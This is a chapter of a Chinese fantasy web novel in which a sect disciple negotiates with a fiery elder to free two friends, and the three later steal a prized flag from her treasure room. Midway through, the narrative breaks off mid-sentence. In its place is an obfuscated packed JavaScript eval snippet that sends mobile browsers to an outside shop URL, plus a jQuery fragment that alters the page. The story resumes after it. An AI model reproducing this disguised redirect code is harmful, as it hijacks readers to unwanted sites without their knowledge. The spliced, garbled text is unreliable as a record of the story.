70. 开诚峰(二十二)
    周葵想说点什么,被林空鹿一把按头按了回去。

    周葵只好不情不愿暂时闭嘴,等霍琦把他们带走再说。

    游画桡余光自然瞧着那边,回过视线来瞧霍琦,唏嘘说出了一句熟悉的话:“你真是不容易。”

    周葵觉得游长老和掌门应该能就这个话题达成共识,畅聊一个时辰。

    霍琦依旧稳得住,站在那里镇定微笑。

    游画桡就起了兴致:“你不错,我听说你剑阵颇有造诣,你的阵图我也看了,有没有兴趣转法修?”

    霍琦再次行礼:“弟子此次代师父前来,有师门要务在身,还请游长老海涵。”

    游画桡才想起来一样:“说的也是,”但还是留了一句,“你要是想来,我这里随时收你,反正你修什么都一样。”

    “谢游长老厚爱。”霍琦说完后,这次,他得体的微笑就慢慢变得更无懈可击,“既然谈到正事,那弟子便与游长老聊聊此次赔偿,长老算结后,可将账目送至含章峰顶。”

    游画桡长眉一挑:“你让我给庄淮胥?你们含章峰还不上账就往那个冰疙瘩头上推,连梅近房那么个黑心肝的都收不回账,你觉得我从他那儿能要出一块灵石来?师侄,就算你年纪小,我也得告诉你啊,今天这出,没门儿!”

    周葵:“……”总觉得剑仙师父的人设似乎跟想象得有点不太一样了。

    霍琦面对游画桡,也分毫不畏惧:“可周师妹名义上还是剑仙前辈的徒弟。”

    游画桡再一戳林空鹿:“他总是酒魔子的徒弟吧?”

    霍琦依旧半点不惊奇,迅速把酒魔子跟张守鹤对上号,面不改色:“林兄乃剑尊传人,我想师父并不会夺人所好。”

    游画桡都气笑了:“想得挺好,一个都不想认是吧?那我问你,你跟他们非亲非故,你又干什么过来?”

    霍琦:“剑仙与剑尊事务繁忙,师父代为照管,只为情谊。”不等游画桡开口,他继续说,“若是游长老不满,也大可上山训峰顶见师父,师父已传讯,他在峰顶恭候游长老。”

    游画桡一掀袖子,冷哼一声:“谁要陪他去挨风刀子,你们师徒倒是想得好,就想赖账是吧?就不怕我把你也扣下?”

    霍琦:“弟子才疏学浅,自然无法违逆长老,但还请游长老替弟子向藏书阁众位长老告罪一声,弟子明日无法前去理书了。”

    游画桡笑得红唇张扬:“你以为我炸不了藏书阁?”她目光审视,“既然你有底气,我也懒得跟你麻烦,你现在改投我门下,我就放了你们,不然你们就等到张守鹤来接你们吧。”

    霍琦行礼:“师命在身,恕难从命,游长老要弟子留下,弟子便留下,只是来之前弟子唯恐自己人微言轻,已托同门,若我一个时辰不回,请他去求掌门,请剑仙前辈出关。”

    游画桡终于不笑了,她扫着霍琦:“来之前,消息听了不少啊,你还知道我不想跟黑心肝说话?”她换了条腿,“万一我这次就跟他说了呢?你要怎么办?”

    霍琦不卑不亢:“弟子只是觉得,游长老珍宝无数,这点钱财还不值得游长老付出这么大的代价。”

    游画桡看了霍琦一阵,又靠了回去:“你眼力确实不错,我是犯不着,可我不高兴,我今天就等着了。”

    霍琦就去拿玉牌:“那弟子这便联系掌门。”

    霍琦手都没到一半,一道火光刷拉划过去,顷刻烧断了他的玉牌绳子,玉牌便啪嗒落地,霍琦手拿了个空。

    霍琦抬头,游画桡坐在那里,手指尖已经烧起了火,越来越旺:“我看你,与其修剑,倒是更像黑心肝的徒弟,带上人,滚出去。”

    霍琦微微行礼,捡起玉牌:“谢过游长老。”

    然后就真的过去叫了周葵和林空鹿,见两人都看愣了,一手拉一个,拉着出了门。

    一直下了游画桡的山头,周葵和林空鹿都还没有回神。

    霍琦停下来,周葵猛地一个激灵醒过来,第一个反应就是,霍琦怎么变得比上次还又厉害了!这才又过去几天啊!还有,她真的欠了霍琦好多,霍琦真的太不容易了。

    周葵猛地拍胸脯:“放心,霍琦,我以后一定不让你捞人了!”她得更努力一点,不能再被抓到了!

    霍琦根本没相信周葵这句话,而是看向林空鹿:“周葵我不奇怪,没想到林兄你也……”

    周葵赶紧想帮忙解释,被林空鹿咳嗽一声打断。

    周葵不解看过去,林空鹿冲她使了个眼色,周葵看懂了,那是让她保密的意思。

    周葵简直大为感动,林兄为了她的任务,真是考虑良多啊,不让霍琦知道,他们就还能偷偷计划。

    林空鹿说:“意外而已。”

    霍琦显然很是诧异,不知道是什么样的意外才能让他们一起沦陷在游画桡的法修地盘里,但最后他也只能点头:“不早了,先回去吧。”

    一行人回到含章峰,各自分开,临别时,林空鹿又冲周葵使了个眼色,周葵又看懂了,那是回去好好想想,之后再联系的意思。

    周葵感动得无以复加,林兄真是为了她的任务操心太多,虽然是为了比剑,但是真的好靠谱一个林兄啊。

    周葵回去就苦思冥想今天经过的一系列细节,试图找出什么关窍来,想得迷迷糊糊的时候,她都觉得今天就这么睡了算了,忽然脑子一清,忽然想到了一个白天分明听过的故事。

    周葵兴奋地跳了起来,她激动去摸玉牌,就看见玉牌忽闪忽闪在亮。

    周葵好奇点开,是霍琦发来的一段话,点开却是林空鹿的声音:“周葵,我想到游长老最珍爱的东西了。”

    周葵更精神了,立马就连通传讯,一连通,她激动地大声喊:“林兄,我也想到了,是不是比武招亲的旗子!”

    林空鹿回话:“对,我当时就该想到的,一面没有灵光的旗子,能待在珍宝室里本身就很奇怪。”

    周葵越想越兴奋:“以游长老的性子,旗子很有可能。”

    就是周葵兴奋着兴奋着,忽然被踩了尾巴一样再次猛地跳起来,她震惊去看玉牌,扣掉再看一回,还是霍琦的玉牌传讯界面!

    “林兄,你用错玉牌了!赶紧放回去,别让霍琦知道啊!”

    林空鹿的声音颇有些咬牙切齿:“我没有用错,因为我、根本、没有、你的玉牌号,不这样,我过半个月也逮不到你。”

    然后是霍琦的声音:“师妹,提醒一句,林兄是借的我的玉牌,不是偷的,我已经知道了。”

    周葵挠挠头陷入尴尬,她也没想到他们的保密计划会失败在这样一个小细节上,周葵懊恼半天,最后委婉提议:“要不霍琦,你回避一下?”

    依旧是霍琦:“你们确定,你们还能从阵法堆里走出来?”

    然后还有一句:“据我了解,你们之后还要对付掌门和晏师兄。”

    周葵可耻地屈服了:“欢迎加入我们,霍琦。”

    霍琦说:“既然这样,明天去试试便知道了。”

    周葵和林空鹿就同时沉默了,他们说实话,还不是很有勇气就这么再去一趟,但霍琦都这么说了,周葵咬牙:“就明天!”

    她怕越拖越怂。

    第二天,周葵再站在游画桡山头的时候,自己都还有些

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12996874|137160||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    难以置信,瞧见他们的康传兰和王桃书也觉得难以置信:“师妹你们……勇气可嘉啊。”

    周葵只能说:“生活所迫啊。”

    康传兰和王桃书有些为难:“师妹,这次我们……”

    霍琦及时站出来:“二位师姐,此番只要二位当做没看到我们便可,不知可否行个方便。”又问周葵,“师妹认路似乎颇为精熟,里面的路可记住了?”

    周葵骄傲:“当然。”

    霍琦笑了:“这便没问题,还请两位师姐行个方便,我们自己进去即可。”

    康传兰她们愣了一瞬:“你们要是觉得可以,我们这儿是没问题的。”可她们瞧着三人背后齐刷刷背的三把剑,还是颇为迷幻,“你们真的确定能行吗?”

    周葵这下有话说了:“霍琦可以的!”

    最后看着周葵他们真的一步步进阵去了,一连半天没有惊动人,康传兰他们越发难以置信:“现在一个剑修都能破我们的阵法了?”

    随即更燃烧起熊熊斗志,对视一眼:“王师妹,上次那个阵法,见你似乎颇有见地。”

    “好说,康师妹,你的那道符,一同研究。”

    一同默契地修行去了。

    周葵跟着霍琦走,她虽然说得信誓旦旦,其实心里也悬,毕竟这可是游画桡地盘上的阵法啊,她也不知道霍琦能不能行。

    不过霍琦都有信心,她也不敢打扰,只好亦步亦趋跟着。

    眼看一路安全走过,周葵这才终于放了些心。

    林空鹿也放松了些,想起昨晚的传讯,提醒周葵:“你的玉牌号还没……”

    紧跟着一阵脚步响起,游画桡从面前走过去,三人立刻心脏都不跳了,屏息悄悄缩在那里,惟恐被发现。

    游画桡就在周围来来回回,他们得心脏跳得越来越快,他们都怕心跳声被游画桡听见,后来游画桡走了,三人就差直接捂着心脏瘫在那里了,哪里还有什么别的心思,赶紧去了珍宝室,他们只想早点离开。

    一入珍宝室,昨天的惨痛记忆回笼,愣是没人敢动一下。

    就连霍琦观察半天,凝重的神色放松下来,告诉他们旗子没有阵法可以拿,他们也没敢拿。

    周葵反复确认:“霍琦,你确定真的可以拿吗?”

    林空鹿也说:“最好还是多确认一下。”

    还是霍琦干脆说:“此地不是久留之地。”果然自己上去拿了旗子就跑。

    三人扛着一面旗子,身后没有人追,可跑得简直跟逃命有得一拼。

    最后他们终于离开那个山头,三人都有种如梦初醒的感觉。

    周葵不停扒拉那面旗子:“竟然真的拿到了?”

    她都觉得自己还在做梦。

    霍琦一向镇定的脸此刻也有些微红:“只是不知道这是否是游长老心爱之物。”

    三人就一起探究盯着那面旗子,周葵最后拍板:“去找刘长卿长老,他总知道。”

    不过三人走到一半,差点撞上带队出来浩浩荡荡扫荡的游画桡,周葵瞧游画桡那一脸想挑个门派炸一炸的表情,觉得应该不用找刘长老确认了。

    就是康传兰和王桃书两个师姐真的很惨,她们带伤跟着探路,还在不停喊冤:“师父,这回真的跟我们没关系啊!”

    周葵看得后背发毛,幸好霍琦果断,拿了就跑,不然他们现在没准又被抓住了,这回肯定更惨,霍琦没准都没办法。

    周葵收好旗子,觉得自己简直无所不能:“下一个!”

    只是当梅近房和晏开阳这两个名字一出现在脑海里的瞬间,周葵就又觉得,她可能不行了。